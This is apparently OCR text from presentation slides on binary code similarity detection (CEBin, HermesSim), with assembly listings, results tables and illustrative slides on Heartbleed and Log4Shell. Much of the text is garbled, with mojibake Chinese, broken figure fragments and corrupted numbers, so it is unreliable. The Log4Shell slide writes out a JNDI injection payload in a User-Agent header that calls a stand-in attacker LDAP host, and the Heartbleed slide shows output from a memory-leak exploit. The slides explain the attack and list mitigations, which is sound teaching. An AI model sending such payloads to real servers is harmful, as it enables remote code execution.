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N ki = 7= Elim

void xalloc_die (){

« MiEARENT
- ZARFHIEHE: BEREEESREENIRITEEEEE S
== 30 ] e e
— BB FEiSTEIREATSER2ME 9 O
BT, SE—TEREN, MRREBPIRREDY 0o
o« BIE—IRTTHS A £ 9w iR 152 00 Z 3 1l e S0 R AB (L9 &0 O e e o).
» E—IRMEBBSEARAR R FEZE . Tiivitnel B ir7R T oy e
diFEE P —HGI N OIgE B EEER @i s @ o

1
2
3 exit(-1);
4

5 void« xrealloc (void«p,
6 size_t n){
7 if (!n && p){

8

t rdi N store
i i n store i .
=iy — 1 pus h bp 1:pUSh rbp 1:endbrb64 1:Endbr64
o =% 2:mov rbp, rsp 2:mov rbp, 2:push rbx _ 2:push rbx
j-l, m . also store n in rbx ; also stop
; store parameters s «3:imov rbx, rsi ‘mov rb
3: [rbp- e 1@] rdi : store p { 4rif (rdi==0 & rsil=0) 2t
1 L%} — L ’r 1 ‘4:mov [r bp —0x 18] rsi
- SESREFI. ZHFIRFESTFERIE o ettt )] _ |

3 ‘E',,,,,”,”””””,,”,,”m” ¥, free(p) i

e ' ' olz-mov rdi, (rbp-0x10} ratioc (e, o) " 10:call free ;

' : ’ w5:mov rsi, rbx S 11 , i
 FEESERRTE. BRER. B e | Qo e
15 :|= DD \ 15 * N\ 15 7:m v [ rbp-0x8], rax ; return Val v :ca1(1 Tl

rax==0 =i ;

8: bposle&&) ; stores in [rbp-0x8]

ROGRTERMTBIMENTNSE o |6 ;[W”;WJ'&@ﬁw

x, [rbp-0x8] ;
5 11 11 d 10 p p rbp “i9:ret

(¢c) CFG (Clang -00) (b) CFG (6CC -03)
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- Leaking heartbeat response #1
- Sending Client Hello...
- SSL record #1:
- Type: 22
Version: 0x0301
Length: 86
Handshake #1:
Length:
Type:
Server
Server
Server
Server
record #2:
Type: 22
Version: 0x0301
Length: 667
Handshake #1:
Length: 663
Type: Certificate Data (11)
Certificates length: 660
Data length: 663
Certificate #1:
Certificate #1: Length:

82

Server Hello (2)

Hello Version:

Hello random data:

Hello Session ID length:
Hello Session ID:

32
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0x0301
5eec2894flebe3577e03933fcf2aefb85fa8bch466acbadbb89lac3l

Certificate #1: #<OpenSSL::X509::Certificate:

FJRIN
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R X

R LATREY

8160ec08333c91473715dfff68e0d55beb0c774831865edfc881859c

subject=#<OpenSSL: :X509:

Heartbleedjfgiid CVE-2014-0160 OpenSSL
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The log4j JNDI Attack

and how to prevent it

The string is passed to log4j
for logging

An attacker inserts the JNDI lookup in a
header field that is likely to be logged.

GET /test HTTP/1.1 HTTP

Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}
€ BLOCK WITH WAF
Attacker Vulnerable Server
A http://victim.xa

“— @
o— B

€ DISABLE LOG4)

Vulnerable log4j
implementation

o— l.

EF ARSI EVAITIEL N E iz 5 PR IZ

=) Z Bl SRR,

log4j interpolates the string and
queries the malicious LDAP server.

“” &t ?
${jndi:ldap://evil.xa/x}

ldap://evil.xa/x

€ DISABLE JNDI LOOKUPS

€ PATCH LOG4)

Malicious LDAP Server
Idap://evil.xa

—o— 3

| <

€ DisABLE
REMOTE © "
CODEBASES l, w

public class Malicious implements Serializable {
static [
<malicious Java code>

}

:Name QLI=Ar]

JAVA deserializes (or downloads) the

@®® GoceRTen malicious Java class and executes it.

Log4Shellifmilll CVE-2021-44228 Apache Log4j

= / ot !

javaClassName: Malicious
javaCodebase: http://evil.xa
javaSerializedData: <...>

The LDAP server responds with directory
information that contains the malicious
Java class
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CEBIn: A Cost-Effective Framework for Large-Scale Binary Code
Similarity Detection



CEBin TIPO

T Bir | FEEEREERDEEE, SCMS . EERNE ZH G B AR
| WA | B THGIRE, FEEB RSN
1. BB llgk: lgk— T gele £k —HFI LB AR RIS SIRE
P WIR | 2 BEIGUA: HalealE— TSR ARERR— 1 EEi =
3. [REYUHIE: ABRAREHFITTop-KIEER, BHLRERITEREZBIE
@) Wil | BEFBIOVEHES L RER G ER*1
P io] 55 1. B R ETE SRR = 2z B R E
= | 2. MA LRI B RS SR N A S ADTE
C > | BUBEEDP R ZiHFBIFRR O] E IR BREZH IR SRR 12
5 W 1. UD{o] 1 K RS i op 1R FHE BY 5 1 B 5] B TR 3538028
o 2.0 R BRI RE P AIE I E R ARRIBIR TsIAXEREI
L IKIE | ISSTA 2024 CCF A

11



CEBin 5;EBI®

. HEEE
— Yl 3rP E=
- BFR: Jllgk—TRENS Ak — i HI{TEY

II-L

2
—

AR RBNIESEE (1) Pre-training (2) Fine-tuning (3) Inference
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M EIRIFIIZR{ES il R N )
JWk \ Pre-trained Model A
- E;_—:Flgb%ﬂlﬁ Bﬁﬁﬁ [ 1 r - 1
i \ i = Embedding .
« RARBISR (oIEHTAZFILE) Model N J
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o EEBIEBYHETR (Final Selection)
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_ OrderMatters(2020) — Recall@1 BORARE BTSRRI DS
SiffBIK 1% - =t
— SAFE(2019) Recall@K — FRrBE1E0IEIK DT"":!JJ. EFINGH I
— Asm2Vec(2019) IEHR R
_ GraphEmb(2019) ST BEES LRBEDhERRE LI MBS (ERK)
— GNNFIGMN(2019) * BEWIZE
— Gemini(2017) — DJERHRAZFAR/NL=8192
— Genius(2016) — AIEREM=0.99
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L CEBinfEBinaryCorp-3M_ERIFRIN ( eEHELHA/INJ310000 )

— CEBInEARBESZ P EE=L TEEL DA
— CEBin-EftZEZERAER, [ERIEEIESERINEEFESPHERAIEGEIRA S AR

MRR Recall@1
Models 00,03 01,03 02,03 000s O010s 020s Average | 00,03 01,03 0203 00,0s 010s 02,0s Average
Genius 0.041 0.193 0.596 0.049 0.186 0.224 0.214 0.028 0.153 0.538 0.032 0.146 0.180 0.179
Gemini 0.037 0.161 0.416 0.049 0.133 0.195 0.165 0.024 0.122 0.367 0.030 0.099 0.151 0.132
GNN 0.048 0.197 0.643 0.061 0.187 0.214 0.225 0.036 0.155 0.592 0.041 0.146 0.175 0.191

GraphEmb 0.087 0.217 0.486 0.110 0.195 0.222 0.219 0.050 0.154 0.447 0.063 0.135 0.166 0.169
OrderMatters | 0.062 0.319 0.600 0.075 0.260 0.233 0.263 0.040 0.248 0.535 0.040 0.178 0.158 0.200

SAFE 0.127 0.345 0.643 0.147 0.321 0.377 0.320 0.068 0.247 0.575 0.079 0.221 0.283 0.246
Asm2Vec 0.072 0.449 0.669 0.083 0.409 0.510 0.366 0.046 0.367 0.589 0.052 0.332 0.426 0.302
Trex 0.1138 0.477 0.731 0.148 0.511 0.513 0.416 0.073 0.388 0.665 0.088 0.422 0.436 0.345
jTrans 0.475 0.663 0.731 0.539 0.665 0.664 0.623 0.376 0.580 0.661 0.443 0.586 0.585 0.571
CEBin-E 0.787 0.874 0.924 0.858 0.909 0.893 0.874 0.710 0.818 0.885 0.795 0.863 0.842 0.819
CEBin 0.850 0.886 0.953 0.903 0.927 0.895 0.902 0.776 0.826 0.920 0.839 0.874 0.834 0.845

model 00-03 01-03 02-03 00-Os 01-0s 02-Os

) jTrans 06027 07514 08631 06233 07046 07870

Github [Trans(reported in your paper) = 0376 0580  0.661 0443 0586  0.585

CEBin(in your paper) 0776 0826 0920 0839 0874 0845 19
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« F{LCEBInfECisco Dataset-1¥0Trex Dataset_FBIZEIN (&Lt A/ J310000 )

— CEBInEARESZPES N TFEEL DA
— I RRE G RAE IR A TR T SRS LB FBinaryCorp-3MEIDIAE

Cisco Dataset-1

MRR Recall@1
XA+ XA+
Models | XA XC X0 XA+XO0 XC+XO XC+XO XA XC X0 XA+XO0O XC+XO XC+XO
GNN 0.205 0.158 0.104 0.119 0.189 0.093 0.129 0.104  0.080 0.084 0.165 0.063
Trex 0.085 0.401 0.410 0.145 0.313 0.124 0.052 0.341 0.360 0.113 0.268 0.096
CEBin-E | 0.760 0.907  0.859 0.817 0.866 0.766 0.692 0.871 0.816 0.766 0.823 0.706
CEBin 0.977 0.992 0.973 0.978 0.984 0.961 0.968 0.988 0.963 0.969 0.977 0.946

Trex Dataset MRR Recall@1
Models | XA X0 XA+XO0 | XA X0 XA+XO
Trex 0.142 0.218 0.175 0.065 0.123 0.107
GNN 0.163 0.148 0.151 0.145 0.102 0.109
CEBin-E | 0.612 0.646 0.576 0.509  0.553 0.474
CEBin 0.911 0.933 0.911 0.882 0.906 0.870

20
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Poolsize
Model 100 10,000 1,000,000 4,000,000
GNN 0.004 0.004 0.012 0.037
Trex 0.018 0.018 0.050 0.182
CEBin-E 0.807 0.814 0.887 1.034
CEB1in 2.717  2.772 2.898 3.105
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Binary Function 1

push rbp
mov rbp, rsp
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Binary Function 2

addiu $sp, -0x260
sw $s2, 0x258($sp)
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1 L1:

2 r0 = LOAD 0x1000
3 rl = ADD rl, 2

4 STORE r@, ri

5 r3 = CALL Foo, ro
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8 | RET r3
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RN + 8o Clang v3.5.2/v5.0.1/v7.0.0/v9.0.0
* LIt ikIn 00/01/02/03/0s

* 3T BHSRHI(x86/ARM/MIPS) SiRek x86/x64/ARM32/ARM64/MIPS3
« 271 I%1(32/64) 2/MIPS64

« 5STMEILIEIR(00/01/02/03/0s)

« ITRIFREBGREFIRAS(GCC-4.8.5/5.5.0/7.4.0/9.2.1, Clang-3.5.2/5.0.1/7.0.0/9.0.0)
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SKIEiRit  XIELSCIE

 SLIRZEIE
— HermesSimfEFZ g &PE =N T ELE DA
— BEFNLPBIFIE(SAFE/Asm2Vec/Trex/jTrans) TEXAES PRI A{E
— GMNTEXAES D RERF Trex, MEHMESDRINBIA

Recall@1/MRR

XA XO XC XM x64-XO x64-XC
N Params
poolsize 100 100 10000 100 100 10000
SAFE 13.4/26.4 21.1/27.5 20.1/27.6 9.9/18.9 1.4/2.32 18.4/26.2 17.2/24.9 8.1/9.5 8.93M
Asm?2Vec - 24.6/30.1 25.8/31.7 - - 31.8/37.7 29.0/35.0 13.5/16.6 -

Trex 31.2/42.1 46.8/53.1 45.4/52.5 24.4/344  8.6/11.1 51.5/57.77 45.9/53.2 26.2/30.1 61.8M

GMN 72.6/81.7 50.3/58.1 52.3/59.8 44.7/53.7 10.5/15.9 52.4/60.2 48.0/56.2 21.9/26.7 60.5K
jTrans - - - - - 66.9/76.0 65.0/73.8 31.4/37.4  87.9M

HermesSim [95.5/97.5 81.0/85.3 78.0/83.2 74.5/80.2 43.8/50.8 81.9/86.0 75.6/80.7 48.1/54.6 388K
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1= E

« SOGHIBIEERRAIA

— P-DFG: LAIBS A=, 8L ZiBlBdef-use R IENA ( EERIN )
— P-CDFG: fxP-DFGHIENE L, 1Bh0i=Hlim 10

— P-ISCG: {xP-COFGHRIESE £, 1A RN

. — i N\ rvi | )/ m
— P-TSCG: f=5P-ISCGRIEM E, EIMBIRIES EPLST
Recall@1/MRR
XA X0 XC XM x64-XO x64-XC
poolsize 100 100 10000 100 100 10000
CFG-OPC200 92.8/95.6 67.7/73.9 67.1/73.2 62.9/69.3 32.0/38.7 69.9/75.7 64.2/70.3 36.8/42.9
MSoft CFG-PalmTree - - - - - 70.8/76.4 66.1/72.3 36.3/43.0
CFG-HBMP 94.3/96.6 69.5/75.8 68.9/74.9 65.3/71.9 33.7/40.6 72.0/77.4 67.2/73.0 39.0/45.5
P-DFG 03.4/96.2 76.4/81.6 74.1/79.8 69.7/76.0 37.4/4477 76.3/81.6 69.9/75.7 42.8/49.3
MSoft P-CDFG 94.6/96.9 77.2/82.5 75.3/80.8 71.1/77.3 38.6/459 77.2/82.4 72.4/77.8 43.6/50.5
P-ISCG 05.1/97.2 78.0/82.9 74.8/80.3 71.3/77.2 40.1/47.2 78.1/82.6 71.9/77.1 44.2/50.9
P-TSCG 05.5/97.4 79.2/83.6 76.2/81.7 73.2/78.9 41.3/48.8 79.1/83.7 73.5/78.7 46.4/52.9
Set2Set 89.5/93.0 67.2/72.2 64.5/699 61.2/66.9 29.8/36.6 69.2/73.7 60.7/66.1 37.3/43.1
Softmax P-SOG 00.9/94.3 72.9/78.1 71.0/76.6 64.3/71.2 32.6/39.4 74.0/78.7 66.9/72.6 41.2/47.2
Gated 03.5/96.1 75.6/80.3 72.5/77.6 68.3/74.2 38.4/449 76.3/80.7 69.0/74.3 43.9/49.9
MSoft P-SOG 95.5/97.5 81.0/85.3 78.0/83.2 74.5/80.2 43.8/50.8 81.9/86.0 75.6/80.7 48.1/54.6 35
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- SH{hESETEM, SOGERETIES (BXA) FHKEIIEREEH
. XATE T RS N SR R RS S TS
_ A ASoftmaxB AR RS R FHMEL RS

Recall@1/MRR

BRI IR

XA X0 XC XM x64-X0O x64-XC

poolsize 100 100 10000 100 100 10000
CFG-OPC200 92.8/95.6 67.7/73.9 67.1/73.2 62.9/69.3 32.0/38.7 69.9/75.7 64.2/70.3 36.8/42.9
MSoft  CFG-PalmTree - - - - = 70.8/76.4  66.1/72.3 36.3/43.0
CFG-HBMP  94.3/96.6 69.5/75.8 68.9/749 65.3/71.9 33.7/40.6 72.0/77.4 67.2/73.0 39.0/45.5
P-DFG 93.4/96.2 76.4/81.6 74.1/79.8 69.7/76.0 37.4/4477 76.3/81.6 69.9/75.7 42.8/49.3
MSoft P-CDFG 94.6/96.9 77.2/82.5 75.3/80.8 T71.1/77.3 38.6/45.9 77.2/82.4 72.4/77.8 43.6/50.5
© P-ISCG 95.1/97.2 78.0/82.9 74.8/80.3 71.3/77.2 40.1/47.2 78.1/82.6 71.9/77.1 44.2/50.9
P-TSCG 95.5/97.4 79.2/83.6 76.2/81.7 73.2/78.9 41.3/48.8 79.1/83.7 73.5/78.7 46.4/52.9
Set2Set 89.5/93.0 67.2/72.2 64.5/69.9 61.2/66.9 29.8/36.6 69.2/73.7 60.7/66.1 37.3/43.1
Softmax P-SOG 90.9/94.3 72.9/78.1 71.0/76.6 64.3/71.2 32.6/39.4 74.0/78.7 66.9/72.6 41.2/47.2
Gated 93.5/96.1 75.6/80.3 72.5/77.6 68.3/74.2 38.4/44.9 76.3/80.7 69.0/74.3 43.9/49.9
MSoft P-SOG 95.5/97.5 81.0/85.3 78.0/83.2 74.5/80.2 43.8/50.8 81.9/86.0 75.6/80.7 48.1/54.6
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— SOGILFTSCG, RBAERRPRESIENEXFI TR GESSEUIRE HEE T

Recall@1/MRR

XA X0 XC XM x64-X0O x64-XC
poolsize 100 100 10000 100 100 10000

CFG-OPC200 92.8/95.6 67.7/73.9 67.1/73.2 62.9/69.3 32.0/38.7 69.9/75.7 64.2/70.3 36.8/42.9

MSoft  CFG-PalmTree - - - - - 70.8/76.4 66.1/72.3  36.3/43.0

CFG-HBMP  94.3/96.6 69.5/75.8 68.9/749 65.3/71.9 33.7/40.6 72.0/77.4 67.2/73.0 39.0/45.5

P-DFG 93.4/96.2 76.4/81.6 74.1/79.8 69.7/76.0 37.4/44.7 76.3/81.6 69.9/75.7 42.8/49.3

MSoft P-CDFG 94.6/96.9 77.2/82.5 75.3/80.8 T71.1/77.3 38.6/45.9 77.2/82.4 72.4/77.8 43.6/50.5

P-ISCG 95.1/97.2 78.0/82.9 74.8/80.3 71.3/77.2 40.1/47.2 78.1/82.6 71.9/77.1 44.2/50.9

P-TSCG 95.5/97.4 79.2/83.6 T76.2/81.7 73.2/78.9 41.3/48.8 79.1/83.7 73.5/78.7 46.4/52.9

Set2Set 89.5/93.0 67.2/72.2 64.5/699 61.2/66.9 29.8/36.6 69.2/73.7 60.7/66.1 37.3/43.1

Softmax P-SOG 90.9/94.3 72.9/78.1 71.0/76.6 64.3/71.2 32.6/39.4 74.0/78.7 66.9/72.6 41.2/47.2

Gated 93.5/96.1 75.6/80.3 72.5/77.6 68.3/74.2 38.4/44.9 76.3/80.7 69.0/74.3 43.9/49.9
MSoft P-SOG 95.5/97.5 81.0/85.3 78.0/83.2 74.5/80.2 43.8/50.8 81.9/86.0 75.6/80.7 48.1/54.6 37
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